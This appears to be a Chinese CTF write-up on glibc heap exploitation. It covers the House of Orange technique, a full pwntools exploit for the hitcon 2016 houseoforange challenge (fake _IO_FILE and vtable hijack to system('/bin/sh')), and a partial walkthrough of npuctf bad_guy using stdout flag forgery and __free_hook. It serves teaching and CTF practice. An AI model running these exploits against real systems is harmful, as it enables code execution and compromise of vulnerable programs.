House of Orange


我们知道一般想要利用堆漏洞,需要对堆块进行malloc和free操作,但是在House of Orange利用中无法使用free函数,因此House of Orange核心就是通过漏洞利用获得free的效果

​ ——CtfWiki

**输入>**题目中不存在free函数或其他释放堆块的函数

**输出>**获得free的效果

?怎样判断堆块是否被free


glibc有 空闲chunk管理器 ,即我们熟知的各种 bin

1,当你 void *p = malloc(20);时,申请的chunk是这样的

mallco_chunk.png

2,free(p)过后

free_chunk.png

1.从结构上判断

2.有后一个chunk可知前一个chunk的prev_szie是否有效来推断

原理

概述

这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins。

和Hof的利用对象一样,再次迫害 top chunk

所有的空闲chunk不满足时,**_int_malloc试图使用top chunktop chunk**依旧不满足则进入以下分支

1
2
3
4
5
6
7
8
9
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

按照《glibc内存管理ptmalloc源代码分析》上的来说。

主分配区和非主分配区大致上差不多

topchunk.png

非主分配区:

binsfast bins 都不能满足分配需要的时候,ptmalloc 会设法在 top chunk 中分出一块内存给用户,如果 top chunk 本身不够大,分配程序会重新分配一个 sub-heap,并将 top chunk 迁移到新的 sub-heap 上,新的 sub-heap

与已有的 sub-heap 用单向链表连接起来,然后在新的 top chunk 上分配所需的内存以满足分配的需要,实际上,top chunk 在分配时总是在 fast bins 和 bins 之后被考虑,所以,不论 top chunk 有多大,它都不会被放到 fast bins 或者是 bins 中。Top chunk 的大小是随着分配和回收不停变换的,如果从 top chunk 分配内存会导致 top chunk 减小,如果回收的 chunk 恰好

与 top chunk 相邻,那么这两个 chunk 就会合并成新的 top chunk,从而使 top chunk 变大。如果在 free 时回收的内存大于某个阈值,并且 top chunk 的大小也超过了收缩阈值,ptmalloc

会收缩sub-heap,如果 top-chunk 包含了整个 sub-heap,ptmalloc 会调用 munmap 把整个

sub-heap 的内存返回给操作系统

主分配区:

由于主分配区是唯一能够映射进程 heap 区域的分配区,它可以通过 sbrk()来增大或是

收缩进程 heap 的大小,ptmalloc 在开始时会预先分配一块较大的空闲内存(也就是所谓

的 heap),主分配区的 top chunk 在第一次调用 malloc 时会分配一块(chunk_size + 128KB) align 4KB 大小的空间作为初始的 heap,用户从 top chunk 分配内存时,可以直接取出一块内存给用户。在回收内存时,回收的内存恰好与 top chunk 相邻则合并成新的 top chunk,当该次回收的空闲内存大小达到某个阈值,并且 top chunk 的大小也超过了收缩阈值,会执行内存收缩,减小 top chunk 的大小,但至少要保留一个页大小的空闲内存,从而把内存归还给操作系统。如果向主分配区的 top chunk 申请内存,而 top chunk 中没有空闲内存,ptmalloc

会调用 sbrk()将的进程 heap 的边界 brk 上移,然后修改 top chunk 的大小。

除非新旧 top chunk相邻(一般不会),那么 old top chunk 会移动到 unsorted bin,这样就得到了输出:获得free的效果

检查

0x1

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

malloc的尺寸不能大于mmp_.mmap_threshold

0x2

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

如果top chunk已经初始化了,那么top chunk的大小必须大于等于MINSIZE,因为top chunk中包含了 fencepost,所以top chunk的大小必须要大于MINSIZE。其次Top chunk必须标识前一个chunk处于inuse状态,并且top chunk的结束地址必定是页对齐的。此外top chunk除去fencepost的大小必定要小于所需chunk的大小,否则在_int_malloc()函数中会使用top chunk分割出chunk

​ ——CTFWiki

0x3总结

1.伪造的size必须要对齐到内存页

2.size要大于MINSIZE(0x10)

3.size要小于之后申请的chunk size + MINSIZE(0x10)

4.size的prev inuse位必须为1

之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#define fake_size 0x41

int main(void)
{
void *ptr;

ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);

*((long long*)ptr)=fake_size; // overwrite top chunk size

malloc(0x60);

malloc(0x60);
}

程序模拟了一个溢出覆盖到top chunk的size域。我们试图把size改小从而实现brk扩展,并把原有的top chunk放入unsorted bin中。

0x1第一次 malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE {
prev_size = 0,
size = 135137, <-top_chunk.size=0x20FE1
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

0x2 运行至 13行

1
2
3
4
5
demo: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

Program received signal SIGABRT, Aborted.
0x00007fffff065428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.

发现了报错,是没有通过上面说的第二个检查

assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));

发现是第一条不满足

1.伪造的size必须要对齐到内存页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x41
}
0x602020 FASTBIN { <-top chunk
prev_size = 0,
size = 65, <-大小被修改
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602060 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/32gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000041
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000

一般内存页的大小是4kb。那么我们伪造的size就必须要对齐到这个尺寸; 0x602020+0x20fe0=0x623000是对于0x1000(4kb)对齐的,

因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等对4kb对齐的size。而0x40不满足对齐,因此不能实现利用

0x3 修正

1
2
3
4
5
6
+#define fake_size 0x1fe1
-#define fake_size 0x41
+malloc(0x2000)
malloc(0x60)
-malloc(0x60)
malloc(0x60)

0x4 对比

最开始
1
2
3
4
gef➤  heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
.................................................
Chunk(addr=0x602030, size=0x20fe0, flags=PREV_INUSE) ← top chunk
倒数第二步
1
2
3
4
5
6
7
8
9
10
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x602030, size=0x1fc0, flags=PREV_INUSE)
Chunk(addr=0x603ff0, size=0x10, flags=)
Chunk(addr=0x604000, size=0x10, flags=PREV_INUSE)
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000001fc1
0x602030: 0x00007fffff3f4b78 0x00007fffff3f4b78
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000

top chunk进行了迁移而且通过了检查,那么根据前面的分析,则 top chunk 加入 unsorted bin,下一次一定会从 unsorted bin 里面取

1
2
3
4
5
gef➤  heap bins unsorted
---------Unsorted Bin for arena 'main_arena'--------------
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
→ Chunk(addr=0x602030, size=0x1fc0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
最后
1
2
3
4
5
6
7
8
9
10
11
12
13
0x602000:       0x0000000000000000      0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000071 <-最后的malloc
0x602030: 0x00007fffff3f5208 0x00007fffff3f5208 <-未清零unsoted bin
0x602040: 0x0000000000602020 0x0000000000602020
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000001f51 <-被切割了,导致减小
0x6020a0: 0x00007fffff3f4b78 0x00007fffff3f4b78
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000

例题: houseoforange_hitcon_2016

checksec

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开

IDA

1
2
3
puts(" 1. Build the house                  ");
puts(" 2. See the house ");
puts(" 3. Upgrade the house ");

没有 free 相关函数

build

1
2
3
4
5
if ( unk_203070 > 3u )
{
puts("Too many house");
exit(1);
}

最多只能有3个橘子

1
2
3
4
5
6
7
8
9
10
11
v3 = malloc(0x10uLL);                         // 存储house大小
printf("Length of name :");
size = made_choice();
if ( size > 0x1000 )
size = 0x1000;
v3[1] = malloc(size);
if ( !v3[1] )
{
puts("Malloc error !!!");
exit(1);
}

最多可以申请 0x1000大小的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("Color of Orange:");
size_4 = made_choice();
if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 0xDDAA )
v4[1] = 0xDDAA;
else
v4[1] = size_4 + 30;
*(_QWORD *)v3 = v4;
house_idx = v3;
++unk_203070;
return puts("Finish");
}

发现 color 可以变为(1<x<=7)|| x=0xDDAA,这里可能是突破口

upgrade
1
2
if ( unk_203074 > 2u )
return puts("You can't upgrade more");

只能使用两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
printf("Length of name :");
v2 = made_choice();
if ( v2 > 0x1000 )
v2 = 0x1000;
printf("Name:");
safe_read((void *)house_name[1], v2);
printf("Price of Orange: ", v2);
v1 = (_DWORD *)*house_name;
*v1 = made_choice();
colorful();
printf("Color of Orange: ");
v3 = made_choice();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*house_name + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_name + 4LL) = v3 + 30;
++unk_203074;
return puts("Finish");

同样可以申请 0x1000大小的chunk之类的操作,可以堆溢出

思路

1.修改top_chunk的size

2.触发sysmalloc中的_int_free

3.泄露libc和heap的地址

4.触发异常

gdb

0x1 修改top_chunk的size

申请一个house,结构为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#code
add(0x30,'a'*8)
#gdb
gef➤ x/32gx 0x556593871000
0x556593871000: 0x0000000000000000 0x0000000000000021
0x556593871010: 0x0000556593871070 0x0000556593871030
0x556593871020: 0x0000000000000000 0x0000000000000041
0x556593871030: 0x0000000a61616161 0x0000000000000000
0x556593871040: 0x0000000000000000 0x0000000000000000
0x556593871050: 0x0000000000000000 0x0000000000000000
0x556593871060: 0x0000000000000000 0x0000000000000021
0x556593871070: 0x000000210000000a 0x0000000000000000
0x556593871080: 0x0000000000000000 0x0000000000020f81
。。。。。。。。 。。。。。。。。。。。 。。。。。。。。。。

覆盖掉 top chunk size域的payload为

payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)

这样就将 top_chunk->szie = 0x1fc0

1
2
3
4
5
6
7
8
9
0x56222cc84000:	0x0000000000000000	0x0000000000000021
0x56222cc84010: 0x000056222cc84070 0x000056222cc84030
0x56222cc84020: 0x0000000000000000 0x0000000000000041
0x56222cc84030: 0x6161616161616161 0x6161616161616161
.............. .................. ..................
0x56222cc84060: 0x0000000000000000 0x0000000000000021
0x56222cc84070: 0x0000002100000006 0x6161616161616161
0x56222cc84080: 0x0000000000000000 0x0000000000000f81
0x56222cc84090: 0x0000000000000000 0x0000000000000000

修改成功

0x2 触发sysmalloc中的_int_free

成功修改 top chunk,下一步只要我们申请一块 topchunk 大小不满足的chunk即可,由之前的分析可知我们最大可以申请 0x1000 的空间,那么

add(0x1000,'b'*8)

1
2
3
4
5
6
7
8
Chunk(addr=0x564081bf1010, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1030, size=0x40, flags=PREV_INUSE)
Chunk(addr=0x564081bf1070, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1090, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf10b0, size=0x20, flags=PREV_INUSE)
Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE)
Chunk(addr=0x564081bf1ff0, size=0x10, flags=)
Chunk(addr=0x564081bf2000, size=0x10, flags=PREV_INUSE)

top_chunk消失了

1
2
3
[+] unsorted_bins[0]: fw=0x564081bf10c0, bk=0x564081bf10c0
→ Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

成功加入 unsroted bins ,相当于 free 掉了top chunk

0x3 泄露libc和heap的地址

下从 unsorted bins 中取出一点下来用

因为原来有输出的功能,那么我们使用它输出刚才的那个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#code:
add(0x400,'c'*8)
see()
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("leak add => 0x%x",leak)
gdb.attach(p)
#输出
[+] leak add => 0x7f5cf839a10a
#gdb
0x5584c45e30e0 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x6363636363636363,
bk = 0x7f5cf839a10a <main_arena+1514>,
fd_nextsize = 0x5584c45e30e0,
bk_nextsize = 0x5584c45e30e0
}
vmmap
0x5584c45e3000 0x5584c4626000 rw-p 43000 0 [heap]
0x7f5cf7fd5000 0x7f5cf8195000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8195000 0x7f5cf8395000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8395000 0x7f5cf8399000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f5cf8399000 0x7f5cf839b000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

如果知道是知道libc2.23的话

1
2
>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000-1514)
'0x3c4b20'

不知道的话直接加减

1
2
>>> hex(0x7f5cf839a10a-0x7f5cf7fd5000)
'0x3c510a'

同理可知 heap_base

开始泄露,但是要泄露什么?这里泄露的东西就决定了我们攻击的方式

这道题保护全开,之前的方法好像不太行,想起之前的文章FILE结构

那我们可以伪造出一个file,通过修改 vtable 指针来调用 system那么就需要

1
2
3
4
5
libc_base = leak-0x3c510a
system_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh\x00").next()
IO_list_all = libc_base+libc.sym["_IO_list_all"]
IO_str_jumps = libc.symbols["_IO_file_jumps"]+0xc0+libc_base
0x4 开始构造 fake file

ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,

如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数

调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system(‘/bin/sh’)

2016 ctf-HITCON——houseoforange

FILE结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct _IO_FILE
{
int _flags; /* 高阶版本也叫作 _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
//read
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
//write
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;//通过这个域创造链表

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

偏移0x20处为IO_write_base,偏移0x28处为IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable

绕过检测:

​ 1._mode<=0

​ 2._IO_write_base<IO_write_ptr

最终的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = "a"*0x400
payload += p64(0)+p64(0x21)+'a'*0x10

fake_file = p64(0)+p64(0x60)

#利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file += p64(0)+p64(binsh)

fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(IO_str_jumps-0x8)
payload += p64(0)
payload += p64(system_addr) #jump2here
1
2
3
4
5
6
7
8
unsortedbin
all [corrupted]
FD: 0x55b6afcad510 ◂— 0x0
BK: 0x55b6afcad510 —▸ 0x7f0850d77510 ◂— 0x0
pwndbg> x/12gx 0x7f0850d77510
0x7f0850d77510: 0x0000000000000000 0x0000000000000000
0x7f0850d77520 <_IO_list_all>: 0x00007f0850d77540 0x0000000000000000
0x7f0850d77530: 0x0000000000000000 0x0000000000000000

已经迁移IO_list_all

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# -*- coding: utf-8 -*- 
from pwn import *
#context.log_level ="debug"
elf = ELF("./houseoforange_hitcon_2016")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
p = 0

def connect(ip,port,mode):
global p
if mode == 1:
p = process("./houseoforange_hitcon_2016")
else:
p = remote(ip,port)

def add(sz,name):
p.sendlineafter(": ","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",name)
p.sendlineafter(":","10")
p.sendlineafter(":","3")

def see():
p.sendlineafter(": ","2")

def edit(sz,text):
p.sendlineafter(": ","3")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
p.sendlineafter(":","3")

def pwn():
#------------House_of_orange------------
add(0x30,'a'*8)
payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)
edit(len(payload),payload)

add(0x1000,'b')
add(0x400,'c'*8)
see()
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("leak add => 0x%x",leak)

#------------Unsoted_bin leak------------
libc_base = leak-0x3c510a
system_addr = libc_base+libc.sym["system"]
binsh = libc_base+libc.search("/bin/sh\x00").next()
IO_list_all = libc_base+libc.sym["_IO_list_all"]
IO_str_jumps = libc.symbols["_IO_file_jumps"]+0xc0+libc_base

log.success("libc base => 0x%x",libc_base)
log.success("system addr => 0x%x",system_addr)
log.success("IO list all => 0x%x",IO_list_all)
log.success("IO str jump => 0x%x",IO_str_jumps)

#------------Fake FILE------------
payload = "a"*0x400
payload += p64(0)+p64(0x21)+'a'*0x10

fake_file = p64(0)+p64(0x60)

#利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0)+p64(1)
fake_file += p64(0)+p64(binsh)

fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(IO_str_jumps-0x8)
payload += p64(0)
payload += p64(system_addr) #jump2here
edit(0x800,payload)
p.recv()
p.sendline("1")
p.sendline("1")
p.interactive()

if __name__ == '__main__':
connect("node3.buuoj.cn",29891,1)
pwn()

npuctf_2020_bad_guy

官方writeup: NPUCTF 2020 WriteUP

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

基本功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def add(idx, size, content):
sh.sendlineafter(">>",'1')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(size))
sh.sendafter(":",content)

def edit(idx, content):
sh.sendlineafter(">>",'2')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(len(content)))
sh.sendafter(":",content)

def free(idx):
sh.sendlineafter(">>",'3')
sh.sendlineafter(":",str(idx))

edit

1
2
3
4
5
6
7
8
9
--count;
printf("Index :");
v1 = read_num();
printf("size: ");
nbytes = read_num();
if ( !heaparray[2 * v1 + 1] || v1 > 9 )
return puts("Bad Guy!");
printf("content: ");
return read(0, heaparray[2 * v1 + 1], nbytes);

count决定edit只能使用4次,而且没有规定 size 的大小,造成 堆溢出

思路

  • 1. 堆溢出,让chunk加入unsorted bin
  • **2. **再次堆溢出,覆盖 unsorted binfd 的低两位地址为”\xdd\x25”,因为这样就可以申请到 IO_2_1_stderr_ 的chunk,就可以 泄露libc的基址
  • 3. 使用 free_hook 填入 system 或者 one_gadget,然后get shell

gdb

0x0 准备工作

使用echo 0 > /proc/sys/kernel/randomize_va_space关闭linux中的随机地址偏移,相当于在本地pie保护失效,便于我们调试

0x1 堆溢出进入unsorted bin

code

1
2
3
4
5
6
7
add(0, 0x18, 'a'*0x18)
add(1, 0x18, 'a'*0x18)
add(2, 0x68, 'a'*0x68)
add(3, 0x68, 'a'*0x68)
edit(0,(0x20-8)*'b'+p64(0x91))#chunk1->size=0x80
free(1)#unsorted bin : chunk1
free(2)#unsorted bin : chunk2->chunk1

gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
smallbins
empty
largebins
empty
pwndbg> x/12gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x6262626262626262 0x6262626262626262
0x555555757020: 0x6262626262626262 0x0000000000000091
0x555555757030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757040: 0x6161616161616161 0x0000000000000071
0x555555757050: 0x0000000000000000 0x6161616161616161

被free的空间大小为被我们修改的 size域 : 0x90

接着我们先把fastbin的chunk取出来

0x2 覆盖 unsorted bin 的 fd

code

1
2
3
add(4, 0x20-8, (0x20-8)*'c')#unsorted bin : chunk2
edit(0, (0x20-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p16(0x25dd))
gdb.attach(sh)

gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 —▸ 0x7ffff7dd25dd (_IO_2_1_stderr_+157) ◂— 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x555555757040 —▸ 0x7ffff7dd25dd (_IO_2_1_stderr_+157) ◂— 0x0
BK: 0x555555757040 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757040 /* '@puUUU' */
smallbins
empty
largebins
empty
pwndbg> x/12gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x6262626262626262 0x6262626262626262
0x555555757020: 0x6262626262626262 0x0000000000000021
0x555555757030: 0x6262626262626262 0x6262626262626262
0x555555757040: 0x6262626262626262 0x0000000000000071
0x555555757050: 0x00007ffff7dd25dd 0x00007ffff7dd1b78

中间多出了一块大小为0x10的fastbin,同时 unsorted binfd 被修改为 0x00007ffff7dd25dd ,同时 0x00007ffff7dd25dd 也是

1
2
pwndbg> x/gx 0x00007ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000

那么我们在申请一个chunk,一定是指向 IO_2_1_stderr+157

0x3 修改 IO_FILE

前置

此时的stderr结构体为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *(struct _IO_FILE_plus *) stderr
$1 = {
file = {
_flags = -72540026,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

此时的 _IO_2_1_stderr的内容

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/32gx 0x7ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7dd06e0000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7dd26a3000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd263d <_IO_2_1_stdout_+29>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd264d <_IO_2_1_stdout_+45>: 0xfff7dd26a300007f 0xfff7dd26a300007f
0x7ffff7dd265d <_IO_2_1_stdout_+61>: 0xfff7dd26a400007f 0x000000000000007f
0x7ffff7dd266d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000

那么我们需要按照这个结构体的大概样式构造一个payload去修改,最重要的部分是修改 flags 标志位,这样就可以强行输出

code

1
2
3
4
5
6
7
payload = 'a'*3+p64(0)*6
payload += p64(0xfbad1887)
payload += p64(0) * 3
payload += '\x40'
add(5, 0x70-8, 0x68*'d')#chunk5-> iofile(in chunk6)unsoted bin :
add(6, 0x70-8, payload)#chunk6(in <_IO_2_1_stderr_+157>)<-chunk5
gdb.attach(sh)

gdb

1
2
3
4
5
6
7
8
9
pwndbg> x/32gx 0x7ffff7dd25dd
0x7ffff7dd25dd <_IO_2_1_stderr_+157>: 0xfff7dd1660000000 0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000616161 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad1887000000 0x0000000000000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd263d <_IO_2_1_stdout_+29>: 0xfff7dd2640000000 0xfff7dd26a300007f
0x7ffff7dd264d <_IO_2_1_stdout_+45>: 0xfff7dd26a300007f 0xfff7dd26a300007f

<_IO_2_1_stderr_+221>0x00fbad2887变为了0x00fbad1887,那么继续执行,看看会输出什么

libc_leak.png

1
2
pwndbg> x/gx 0x7ffff7dd2640
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3

输出了<_IO_2_1_stdout_+32>的地址,开始计算libc_base偏移

1
0x7ffff7dd2640-0x7ffff7a0d000=0x3c5640

得到偏移后就可以开始计算各种地址

0x4 执行攻击

其实这里可以使用malloc_hook+one_gadget,但是需要使用realloc_hook来调节栈去满足one_gadget的条件

我们修改 unsorted binBK 指针指向 free_hook-35 ,使得下一分配在 free_hook-29 的可写入区域

1
2
3
4
unsortedbin
all [corrupted]
FD: 0x555555757040 ◂— 0x0
